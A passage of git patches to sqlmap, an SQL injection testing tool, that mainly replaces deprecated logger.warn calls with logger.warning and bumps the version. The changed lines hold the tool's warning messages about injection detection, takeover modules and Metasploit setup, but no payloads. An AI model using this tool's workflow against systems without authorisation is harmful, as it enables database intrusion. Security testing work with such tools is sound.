a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.6.4" +VERSION = "1.6.6.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index bf3a067326d..0514b71e3f4 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -39,7 +39,7 @@ def vulnTest(): TESTS = ( ("-h", ("to see full list of options run with '-hh'",)), - ("--dependencies --deprecations", ("sqlmap requires", "third-party library", "~DeprecationWarning:")), + ("--dependencies", ("sqlmap requires", "third-party library")), ("-u --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), ("-u --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")), (u"-c --flush-session --output-dir=\"\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")), diff --git a/sqlmap.py b/sqlmap.py index 2509251e98e..1a372b034b2 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -32,15 +32,17 @@ import traceback import warnings + if "--deprecations" not in sys.argv: + warnings.filterwarnings(action="ignore", category=DeprecationWarning) + else: + warnings.resetwarnings() + warnings.filterwarnings(action="ignore", message="Python 2 is no longer supported") warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) warnings.filterwarnings(action="ignore", message=".*using a very old release", category=UserWarning) warnings.filterwarnings(action="ignore", message=".*default buffer size will be used", category=RuntimeWarning) warnings.filterwarnings(action="ignore", category=UserWarning, module="psycopg2") - if "--deprecations" not in sys.argv: - warnings.filterwarnings(action="ignore", category=DeprecationWarning) - from lib.core.data import logger from lib.core.common import banner From df4293473d2fb6e887e31522cab5aff95e201581 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Jun 2022 12:04:34 +0200 Subject: [PATCH 041/599] Fixing DeprecationWarning (logger.warn) --- lib/controller/checks.py | 28 ++++++++--------- lib/controller/controller.py | 12 +++---- lib/core/common.py | 42 ++++++++++++------------- lib/core/dump.py | 8 ++--- lib/core/option.py | 36 ++++++++++----------- lib/core/settings.py | 2 +- lib/core/shell.py | 6 ++-- lib/core/target.py | 16 +++++----- lib/core/threads.py | 2 +- lib/core/update.py | 2 +- lib/parse/sitemap.py | 2 +- lib/request/connect.py | 12 +++---- lib/request/inject.py | 6 ++-- lib/takeover/abstraction.py | 2 +- lib/takeover/icmpsh.py | 2 +- lib/takeover/metasploit.py | 12 +++---- lib/takeover/udf.py | 18 +++++------ lib/takeover/web.py | 10 +++--- lib/takeover/xp_cmdshell.py | 4 +-- lib/techniques/blind/inference.py | 2 +- lib/techniques/error/use.py | 8 ++--- lib/techniques/union/test.py | 4 +-- lib/techniques/union/use.py | 8 ++--- lib/utils/brute.py | 16 +++++----- lib/utils/crawler.py | 6 ++-- lib/utils/deps.py | 16 +++++----- lib/utils/hash.py | 12 +++---- lib/utils/hashdb.py | 4 +-- lib/utils/pivotdumptable.py | 6 ++-- lib/utils/purge.py | 2 +- lib/utils/search.py | 2 +- plugins/dbms/access/enumeration.py | 28 ++++++++--------- plugins/dbms/access/fingerprint.py | 4 +-- plugins/dbms/altibase/enumeration.py | 4 +-- plugins/dbms/altibase/fingerprint.py | 4 +-- plugins/dbms/cache/enumeration.py | 12 +++---- plugins/dbms/cache/fingerprint.py | 4 +-- plugins/dbms/cratedb/connector.py | 4 +-- plugins/dbms/cratedb/enumeration.py | 4 +-- plugins/dbms/cratedb/fingerprint.py | 4 +-- plugins/dbms/cubrid/enumeration.py | 8 ++--- plugins/dbms/cubrid/fingerprint.py | 4 +-- plugins/dbms/db2/enumeration.py | 4 +-- plugins/dbms/db2/fingerprint.py | 4 +-- plugins/dbms/derby/enumeration.py | 10 +++--- plugins/dbms/derby/fingerprint.py | 4 +-- plugins/dbms/extremedb/enumeration.py | 28 ++++++++--------- plugins/dbms/extremedb/fingerprint.py | 4 +-- plugins/dbms/firebird/enumeration.py | 10 +++--- plugins/dbms/firebird/fingerprint.py | 4 +-- plugins/dbms/frontbase/enumeration.py | 8 ++--- plugins/dbms/frontbase/fingerprint.py | 4 +-- plugins/dbms/h2/enumeration.py | 8 ++--- plugins/dbms/h2/fingerprint.py | 6 ++-- plugins/dbms/hsqldb/enumeration.py | 6 ++-- plugins/dbms/hsqldb/filesystem.py | 2 +- plugins/dbms/hsqldb/fingerprint.py | 8 ++--- plugins/dbms/informix/enumeration.py | 10 +++--- plugins/dbms/informix/fingerprint.py | 4 +-- plugins/dbms/maxdb/enumeration.py | 12 +++---- plugins/dbms/maxdb/fingerprint.py | 6 ++-- plugins/dbms/mckoi/enumeration.py | 28 ++++++++--------- plugins/dbms/mckoi/fingerprint.py | 4 +-- plugins/dbms/mimersql/enumeration.py | 8 ++--- plugins/dbms/mimersql/fingerprint.py | 4 +-- plugins/dbms/monetdb/enumeration.py | 10 +++--- plugins/dbms/monetdb/fingerprint.py | 4 +-- plugins/dbms/mssqlserver/enumeration.py | 12 +++---- plugins/dbms/mssqlserver/fingerprint.py | 4 +-- plugins/dbms/mysql/filesystem.py | 6 ++-- plugins/dbms/mysql/fingerprint.py | 6 ++-- plugins/dbms/oracle/enumeration.py | 4 +-- plugins/dbms/oracle/fingerprint.py | 4 +-- plugins/dbms/postgresql/connector.py | 4 +-- plugins/dbms/postgresql/enumeration.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 4 +-- plugins/dbms/presto/enumeration.py | 18 +++++------ plugins/dbms/presto/fingerprint.py | 4 +-- plugins/dbms/raima/enumeration.py | 28 ++++++++--------- plugins/dbms/raima/fingerprint.py | 4 +-- plugins/dbms/sqlite/connector.py | 2 +- plugins/dbms/sqlite/enumeration.py | 20 ++++++------ plugins/dbms/sqlite/fingerprint.py | 4 +-- plugins/dbms/sybase/enumeration.py | 16 +++++----- plugins/dbms/sybase/fingerprint.py | 4 +-- plugins/dbms/vertica/enumeration.py | 2 +- plugins/dbms/vertica/fingerprint.py | 4 +-- plugins/dbms/virtuoso/enumeration.py | 16 +++++----- plugins/dbms/virtuoso/fingerprint.py | 4 +-- plugins/generic/custom.py | 4 +-- plugins/generic/databases.py | 24 +++++++------- plugins/generic/entries.py | 24 +++++++------- plugins/generic/filesystem.py | 4 +-- plugins/generic/fingerprint.py | 4 +-- plugins/generic/misc.py | 2 +- plugins/generic/search.py | 14 ++++----- plugins/generic/takeover.py | 8 ++--- plugins/generic/users.py | 10 +++--- sqlmap.py | 3 +- 99 files changed, 429 insertions(+), 428 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 1b0e0dd2b83..809a0e70153 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -810,7 +810,7 @@ def genCmpPayload(): except KeyboardInterrupt: warnMsg = "user aborted during detection phase" - logger.warn(warnMsg) + logger.warning(warnMsg) if conf.multipleTargets: msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" @@ -826,7 +826,7 @@ def genCmpPayload(): choice = None while not ((choice or "").isdigit() and 0 <= int(choice) <= 6): if choice: - logger.warn("invalid value") + logger.warning("invalid value") msg = "enter new verbosity level: [0-6] " choice = readInput(msg, default=str(conf.verbose), checkBatch=False) conf.verbose = int(choice) @@ -851,7 +851,7 @@ def genCmpPayload(): warnMsg = "in OR boolean-based injection cases, please consider usage " warnMsg += "of switch '--drop-set-cookie' if you experience any " warnMsg += "problems during data retrieval" - logger.warn(warnMsg) + logger.warning(warnMsg) if not checkFalsePositives(injection): if conf.hostname in kb.vulnHosts: @@ -976,7 +976,7 @@ def _(): if not retVal: warnMsg = "false positive or unexploitable injection point detected" - logger.warn(warnMsg) + logger.warning(warnMsg) kb.injection = popValue() @@ -1002,7 +1002,7 @@ def checkSuhosinPatch(injection): warnMsg = "parameter length constraining " warnMsg += "mechanism detected (e.g. Suhosin patch). " warnMsg += "Potential problems in enumeration phase can be expected" - logger.warn(warnMsg) + logger.warning(warnMsg) kb.injection = popValue() @@ -1023,7 +1023,7 @@ def checkFilteredChars(injection): warnMsg += "filtered by the back-end server. There is a strong " warnMsg += "possibility that sqlmap won't be able to properly " warnMsg += "exploit this vulnerability" - logger.warn(warnMsg) + logger.warning(warnMsg) # inference techniques depend on character '>' if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): @@ -1031,7 +1031,7 @@ def checkFilteredChars(injection): warnMsg = "it appears that the character '>' is " warnMsg += "filtered by the back-end server. You are strongly " warnMsg += "advised to rerun with the '--tamper=between'" - logger.warn(warnMsg) + logger.warning(warnMsg) kb.injection = popValue() @@ -1122,7 +1122,7 @@ def _(page): else: infoMsg += "not be injectable" - logger.warn(infoMsg) + logger.warning(infoMsg) kb.heuristicMode = True kb.disableHtmlDecoding = True @@ -1230,7 +1230,7 @@ def checkDynamicContent(firstPage, secondPage): if count > conf.retries: warnMsg = "target URL content appears to be too dynamic. " warnMsg += "Switching to '--text-only' " - logger.warn(warnMsg) + logger.warning(warnMsg) conf.textOnly = True return @@ -1288,7 +1288,7 @@ def checkStability(): warnMsg += "injectable parameters are detected, or in case of " warnMsg += "junk results, refer to user's manual paragraph " warnMsg += "'Page comparison'" - logger.warn(warnMsg) + logger.warning(warnMsg) message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] " choice = readInput(message, default='C').upper() @@ -1513,7 +1513,7 @@ def checkConnection(suppressOutput=False): warnMsg = "you provided '%s' as the string to " % conf.string warnMsg += "match, but such a string is not within the target " warnMsg += "URL raw response, sqlmap will carry on anyway" - logger.warn(warnMsg) + logger.warning(warnMsg) if conf.regexp: infoMsg = "testing if the provided regular expression matches within " @@ -1524,7 +1524,7 @@ def checkConnection(suppressOutput=False): warnMsg = "you provided '%s' as the regular expression " % conf.regexp warnMsg += "which does not have any match within the target URL raw response. sqlmap " warnMsg += "will carry on anyway" - logger.warn(warnMsg) + logger.warning(warnMsg) kb.errorIsNone = False @@ -1539,12 +1539,12 @@ def checkConnection(suppressOutput=False): elif wasLastResponseDBMSError(): warnMsg = "there is a DBMS error found in the HTTP response body " warnMsg += "which could interfere with the results of the tests" - logger.warn(warnMsg) + logger.warning(warnMsg) elif wasLastResponseHTTPError(): if getLastRequestHTTPError() not in (conf.ignoreCode or []): warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError() warnMsg += "which could interfere with the results of the tests" - logger.warn(warnMsg) + logger.warning(warnMsg) else: kb.errorIsNone = True diff --git a/lib/controller/controller.py b/lib/controller/controller.py index c8ab5746366..47e7ef865b4 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -186,12 +186,12 @@ def _showInjections(): if conf.tamper: warnMsg = "changes made by tampering scripts are not " warnMsg += "included in shown payload content(s)" - logger.warn(warnMsg) + logger.warning(warnMsg) if conf.hpp: warnMsg = "changes made by HTTP parameter pollution are not " warnMsg += "included in shown payload content(s)" - logger.warn(warnMsg) + logger.warning(warnMsg) def _randomFillBlankFields(value): retVal = value @@ -556,7 +556,7 @@ def start(): if not check: warnMsg = "%sparameter '%s' does not appear to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) - logger.warn(warnMsg) + logger.warning(warnMsg) if conf.skipStatic: infoMsg = "skipping static %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) @@ -612,7 +612,7 @@ def start(): if not injectable: warnMsg = "%sparameter '%s' does not seem to be injectable" % ("%s " % paramType if paramType != parameter else "", parameter) - logger.warn(warnMsg) + logger.warning(warnMsg) finally: if place == PLACE.COOKIE: @@ -709,7 +709,7 @@ def start(): if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" - logger.warn(warnMsg) + logger.warning(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" choice = readInput(message, default='Y').upper() @@ -749,7 +749,7 @@ def start(): warnMsg = "it appears that the target " warnMsg += "has a maximum connections " warnMsg += "constraint" - logger.warn(warnMsg) + logger.warning(warnMsg) if kb.dataOutputFlag and not conf.multipleTargets: logger.info("fetched data logged to text files under '%s'" % conf.outputPath) diff --git a/lib/core/common.py b/lib/core/common.py index 0bafbcdf44c..45a8dfd408f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -351,7 +351,7 @@ def setDbms(dbms): elif kb.dbms is not None and kb.dbms != dbms: warnMsg = "there appears to be a high probability that " warnMsg += "this could be a false positive case" - logger.warn(warnMsg) + logger.warning(warnMsg) msg = "sqlmap previously fingerprinted back-end DBMS as " msg += "%s. However now it has been fingerprinted " % kb.dbms @@ -371,7 +371,7 @@ def setDbms(dbms): break else: warnMsg = "invalid value" - logger.warn(warnMsg) + logger.warning(warnMsg) elif kb.dbms is None: kb.dbms = aliasToDbmsEnum(dbms) @@ -429,7 +429,7 @@ def setOs(os): break else: warnMsg = "invalid value" - logger.warn(warnMsg) + logger.warning(warnMsg) elif kb.os is None and isinstance(os, six.string_types): kb.os = os.capitalize() @@ -466,7 +466,7 @@ def setArch(): break else: warnMsg = "invalid value. Valid values are 1 and 2" - logger.warn(warnMsg) + logger.warning(warnMsg) return kb.arch @@ -663,7 +663,7 @@ def paramToDict(place, parameters=None): warnMsg += "chars/statements from manual SQL injection test(s). " warnMsg += "Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" - logger.warn(warnMsg) + logger.warning(warnMsg) message = "are you really sure that you want to continue (sqlmap could have problems)? [y/N] " @@ -673,7 +673,7 @@ def paramToDict(place, parameters=None): warnMsg = "provided value for parameter '%s' is empty. " % parameter warnMsg += "Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" - logger.warn(warnMsg) + logger.warning(warnMsg) if place in (PLACE.POST, PLACE.GET): for regex in (r"\A((?:<[^>]+>)+\w+)((?:<[^>]+>)+)\Z", r"\A([^\w]+.*\w+)([^\w]+)\Z"): @@ -738,7 +738,7 @@ def walk(head, current=None): if len(conf.testParameter) > 1: warnMsg = "provided parameters '%s' " % paramStr warnMsg += "are not inside the %s" % place - logger.warn(warnMsg) + logger.warning(warnMsg) else: parameter = conf.testParameter[0] @@ -763,7 +763,7 @@ def walk(head, current=None): if len(decoded) > MIN_ENCODED_LEN_CHECK and all(_ in getBytes(string.printable) for _ in decoded): warnMsg = "provided parameter '%s' " % parameter warnMsg += "appears to be '%s' encoded" % encoding - logger.warn(warnMsg) + logger.warning(warnMsg) break except: pass @@ -814,7 +814,7 @@ def getManualDirectories(): else: warnMsg = "unable to automatically retrieve the web server " warnMsg += "document root" - logger.warn(warnMsg) + logger.warning(warnMsg) directories = [] @@ -900,7 +900,7 @@ def getAutoDirectories(): retVal.add(directory) else: warnMsg = "unable to automatically parse any web server path" - logger.warn(warnMsg) + logger.warning(warnMsg) return list(retVal) @@ -1637,7 +1637,7 @@ def parseTargetDirect(): if remote: warnMsg = "direct connection over the network for " warnMsg += "%s DBMS is not supported" % dbmsName - logger.warn(warnMsg) + logger.warning(warnMsg) conf.hostname = "localhost" conf.port = 0 @@ -1900,7 +1900,7 @@ def parseUnionPage(page): if re.search(r"(?si)\A%s.*%s\Z" % (kb.chars.start, kb.chars.stop), page): if len(page) > LARGE_OUTPUT_THRESHOLD: warnMsg = "large output detected. This might take a while" - logger.warn(warnMsg) + logger.warning(warnMsg) data = BigArray() keys = set() @@ -2789,7 +2789,7 @@ def wasLastResponseDelayed(): if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: warnMsg = "time-based standard deviation method used on a model " warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES - logger.warn(warnMsg) + logger.warning(warnMsg) lowerStdLimit = average(kb.responseTimes[kb.responseTimeMode]) + TIME_STDEV_COEFF * deviation retVal = (threadData.lastQueryDuration >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit)) @@ -3593,7 +3593,7 @@ def initTechnique(technique=None): else: warnMsg = "there is no injection data available for technique " warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique) - logger.warn(warnMsg) + logger.warning(warnMsg) except SqlmapDataException: errMsg = "missing data in old session file(s). " @@ -3744,7 +3744,7 @@ def showHttpErrorCodes(): if kb.httpErrorCodes: warnMsg = "HTTP error codes detected during run:\n" warnMsg += ", ".join("%d (%s) - %d times" % (code, _http_client.responses[code] if code in _http_client.responses else '?', count) for code, count in kb.httpErrorCodes.items()) - logger.warn(warnMsg) + logger.warning(warnMsg) if any((str(_).startswith('4') or str(_).startswith('5')) and _ != _http_client.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes): msg = "too many 4xx and/or 5xx HTTP error codes " msg += "could mean that some kind of protection is involved (e.g. WAF)" @@ -3972,7 +3972,7 @@ def createGithubIssue(errMsg, excMsg): if closed: warnMsg += " and resolved. Please update to the latest " warnMsg += "development version from official GitHub repository at '%s'" % GIT_PAGE - logger.warn(warnMsg) + logger.warning(warnMsg) return except: pass @@ -4002,7 +4002,7 @@ def createGithubIssue(errMsg, excMsg): warnMsg += " ('%s')" % _excMsg if "Unauthorized" in warnMsg: warnMsg += ". Please update to the latest revision" - logger.warn(warnMsg) + logger.warning(warnMsg) def maskSensitiveData(msg): """ @@ -4395,7 +4395,7 @@ def __init__(self): if not options: warnMsg = "mnemonic '%s' can't be resolved" % name - logger.warn(warnMsg) + logger.warning(warnMsg) elif name in options: found = name debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) @@ -4404,7 +4404,7 @@ def __init__(self): found = sorted(options.keys(), key=len)[0] warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options)) warnMsg += "Resolved to shortest of those ('%s')" % found - logger.warn(warnMsg) + logger.warning(warnMsg) if found: found = options[found] @@ -4810,7 +4810,7 @@ def checkOldOptions(args): warnMsg = "switch/option '%s' is deprecated" % _ if DEPRECATED_OPTIONS[_]: warnMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_] - logger.warn(warnMsg) + logger.warning(warnMsg) def checkSystemEncoding(): """ @@ -4828,7 +4828,7 @@ def checkSystemEncoding(): logger.critical(errMsg) warnMsg = "temporary switching to charset 'cp1256'" - logger.warn(warnMsg) + logger.warning(warnMsg) _reload_module(sys) sys.setdefaultencoding("cp1256") diff --git a/lib/core/dump.py b/lib/core/dump.py index 79a7976f2e3..d155ebae152 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -421,7 +421,7 @@ def dbTableValues(self, tableValues): tempDir = tempfile.mkdtemp(prefix="sqlmapdb") warnMsg = "currently unable to use regular dump directory. " warnMsg += "Using temporary directory '%s' instead" % tempDir - logger.warn(warnMsg) + logger.warning(warnMsg) dumpDbPath = tempDir @@ -445,7 +445,7 @@ def dbTableValues(self, tableValues): warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (dumpDbPath, getSafeExString(ex)) warnMsg += "Using temporary directory '%s' instead" % tempDir - logger.warn(warnMsg) + logger.warning(warnMsg) dumpDbPath = tempDir @@ -624,7 +624,7 @@ def dbTableValues(self, tableValues): _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column))) filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) - logger.warn(warnMsg) + logger.warning(warnMsg) with openFile(filepath, "w+b", None) as f: _ = safechardecode(value, True) @@ -672,7 +672,7 @@ def dbTableValues(self, tableValues): if not warnFile: logger.info(msg) else: - logger.warn(msg) + logger.warning(msg) def dbColumns(self, dbColumnsDict, colConsider, dbs): if conf.api: diff --git a/lib/core/option.py b/lib/core/option.py index 7d2fc2ae141..cec16b2bfcf 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -475,7 +475,7 @@ def _setBulkMultipleTargets(): if not found and not conf.forms and not conf.crawlDepth: warnMsg = "no usable links found (with GET parameters)" - logger.warn(warnMsg) + logger.warning(warnMsg) def _findPageForms(): if not conf.forms or conf.crawlDepth: @@ -523,7 +523,7 @@ def _findPageForms(): if not found: warnMsg = "no forms found" - logger.warn(warnMsg) + logger.warning(warnMsg) def _setDBMSAuthentication(): """ @@ -607,16 +607,16 @@ def _setMetasploit(): warnMsg += "or more of the needed Metasploit executables " warnMsg += "within msfcli, msfconsole, msfencode and " warnMsg += "msfpayload do not exist" - logger.warn(warnMsg) + logger.warning(warnMsg) else: warnMsg = "you did not provide the local path where Metasploit " warnMsg += "Framework is installed" - logger.warn(warnMsg) + logger.warning(warnMsg) if not msfEnvPathExists: warnMsg = "sqlmap is going to look for Metasploit Framework " warnMsg += "installation inside the environment path(s)" - logger.warn(warnMsg) + logger.warning(warnMsg) envPaths = os.environ.get("PATH", "").split(";" if IS_WIN else ":") @@ -1202,10 +1202,10 @@ def _setHTTPHandlers(): if conf.proxy: warnMsg += "with HTTP(s) proxy" - logger.warn(warnMsg) + logger.warning(warnMsg) elif conf.authType: warnMsg += "with authentication methods" - logger.warn(warnMsg) + logger.warning(warnMsg) else: handlers.append(keepAliveHandler) @@ -1547,7 +1547,7 @@ def _setHTTPTimeout(): if conf.timeout < 3.0: warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap " warnMsg += "will going to reset it" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.timeout = 3.0 else: @@ -1586,13 +1586,13 @@ def _createHomeDirectories(): if conf.get("outputDir") and context == "output": warnMsg = "using '%s' as the %s directory" % (directory, context) - logger.warn(warnMsg) + logger.warning(warnMsg) except (OSError, IOError) as ex: tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context) warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context) warnMsg += "'%s' (%s). " % (directory, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) - logger.warn(warnMsg) + logger.warning(warnMsg) paths["SQLMAP_%s_PATH" % context.upper()] = tempDir @@ -1617,7 +1617,7 @@ def _createTemporaryDirectory(): tempfile.tempdir = conf.tmpDir warnMsg = "using '%s' as the temporary directory" % conf.tmpDir - logger.warn(warnMsg) + logger.warning(warnMsg) except (OSError, IOError) as ex: errMsg = "there has been a problem while accessing " errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex) @@ -1632,7 +1632,7 @@ def _createTemporaryDirectory(): warnMsg += "make sure that there is enough disk space left. If problem persists, " warnMsg += "try to set environment variable 'TEMP' to a location " warnMsg += "writeable by the current user" - logger.warn(warnMsg) + logger.warning(warnMsg) if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir: try: @@ -1832,7 +1832,7 @@ class _(six.text_type): warnMsg = "increasing default value for " warnMsg += "option '--time-sec' to %d because " % conf.timeSec warnMsg += "switch '--tor' was provided" - logger.warn(warnMsg) + logger.warning(warnMsg) else: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE @@ -2217,7 +2217,7 @@ def _useWizardInterface(): if not conf.crawlDepth and not conf.forms: warnMsg += "Will search for forms" conf.forms = True - logger.warn(warnMsg) + logger.warning(warnMsg) choice = None @@ -2473,7 +2473,7 @@ def _setTorHttpProxySettings(): warnMsg += "Tor anonymizing network because of " warnMsg += "known issues with default settings of various 'bundles' " warnMsg += "(e.g. Vidalia)" - logger.warn(warnMsg) + logger.warning(warnMsg) def _setTorSocksProxySettings(): infoMsg = "setting Tor SOCKS proxy settings" @@ -2553,7 +2553,7 @@ def _basicOptionValidation(): if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: warnMsg = "usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable" - logger.warn(warnMsg) + logger.warning(warnMsg) if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: @@ -2563,7 +2563,7 @@ def _basicOptionValidation(): if conf.proxyFile and not any((conf.randomAgent, conf.mobile, conf.agent, conf.requestFile)): warnMsg = "usage of switch '--random-agent' is strongly recommended when " warnMsg += "using option '--proxy-file'" - logger.warn(warnMsg) + logger.warning(warnMsg) if conf.textOnly and conf.nullConnection: errMsg = "switch '--text-only' is incompatible with switch '--null-connection'" @@ -2671,7 +2671,7 @@ def _basicOptionValidation(): warnMsg = "increasing default value for " warnMsg += "option '--retries' to %d because " % conf.retries warnMsg += "option '--retry-on' was provided" - logger.warn(warnMsg) + logger.warning(warnMsg) if conf.cookieDel and len(conf.cookieDel): diff --git a/lib/core/settings.py b/lib/core/settings.py index fb5df82e753..f4da0b0a067 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.6.5" +VERSION = "1.6.6.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/shell.py b/lib/core/shell.py index 748182d926e..e6ad40aa228 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -79,7 +79,7 @@ def saveHistory(completion=None): readline.write_history_file(historyPath) except IOError as ex: warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, getSafeExString(ex)) - logger.warn(warnMsg) + logger.warning(warnMsg) except KeyboardInterrupt: pass @@ -103,12 +103,12 @@ def loadHistory(completion=None): readline.read_history_file(historyPath) except IOError as ex: warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, getSafeExString(ex)) - logger.warn(warnMsg) + logger.warning(warnMsg) except UnicodeError: if IS_WIN: warnMsg = "there was a problem loading the history file '%s'. " % historyPath warnMsg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" - logger.warn(warnMsg) + logger.warning(warnMsg) def autoCompletion(completion=None, os=None, commands=None): if not readlineAvailable(): diff --git a/lib/core/target.py b/lib/core/target.py index 4766775ba17..cda19d99b27 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -106,7 +106,7 @@ def _setRequestParams(): # Perform checks on POST parameters if conf.method == HTTPMETHOD.POST and conf.data is None: - logger.warn("detected empty POST body") + logger.warning("detected empty POST body") conf.data = "" if conf.data is not None: @@ -247,7 +247,7 @@ def process(match, repl): warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') " warnMsg += "and without providing any POST parameters " warnMsg += "through option '--data'" - logger.warn(warnMsg) + logger.warning(warnMsg) message = "do you want to try URI injections " message += "in the target URL itself? [Y/n/q] " @@ -283,7 +283,7 @@ def process(match, repl): warnMsg = "it seems that you've provided empty parameter value(s) " warnMsg += "for testing. Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" - logger.warn(warnMsg) + logger.warning(warnMsg) if not kb.processUserMarks: if place == PLACE.URI: @@ -582,7 +582,7 @@ def _setResultsFile(): os.close(handle) conf.resultsFP = openFile(conf.resultsFile, "w+", UNICODE_ENCODING, buffering=0) warnMsg += "Using temporary file '%s' instead" % conf.resultsFile - logger.warn(warnMsg) + logger.warning(warnMsg) except IOError as _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " @@ -613,7 +613,7 @@ def _createFilesDir(): warnMsg = "unable to create files directory " warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) - logger.warn(warnMsg) + logger.warning(warnMsg) conf.filePath = tempDir @@ -635,7 +635,7 @@ def _createDumpDir(): warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) - logger.warn(warnMsg) + logger.warning(warnMsg) conf.dumpPath = tempDir @@ -658,7 +658,7 @@ def _createTargetDirs(): warnMsg = "unable to create output directory " warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) - logger.warn(warnMsg) + logger.warning(warnMsg) conf.outputPath = tempDir @@ -681,7 +681,7 @@ def _createTargetDirs(): raise SqlmapMissingPrivileges(errMsg) except UnicodeError as ex: warnMsg = "something went wrong while saving target data ('%s')" % getSafeExString(ex) - logger.warn(warnMsg) + logger.warning(warnMsg) _createDumpDir() _createFilesDir() diff --git a/lib/core/threads.py b/lib/core/threads.py index 5a264930fcd..936c3dffab5 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -154,7 +154,7 @@ def _threadFunction(): if numThreads == 1: warnMsg = "running in a single-thread mode. This could take a while" - logger.warn(warnMsg) + logger.warning(warnMsg) if numThreads > 1: if startThreadMsg: diff --git a/lib/core/update.py b/lib/core/update.py index dedd11103ba..d85a39f064c 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -68,7 +68,7 @@ def update(): elif not 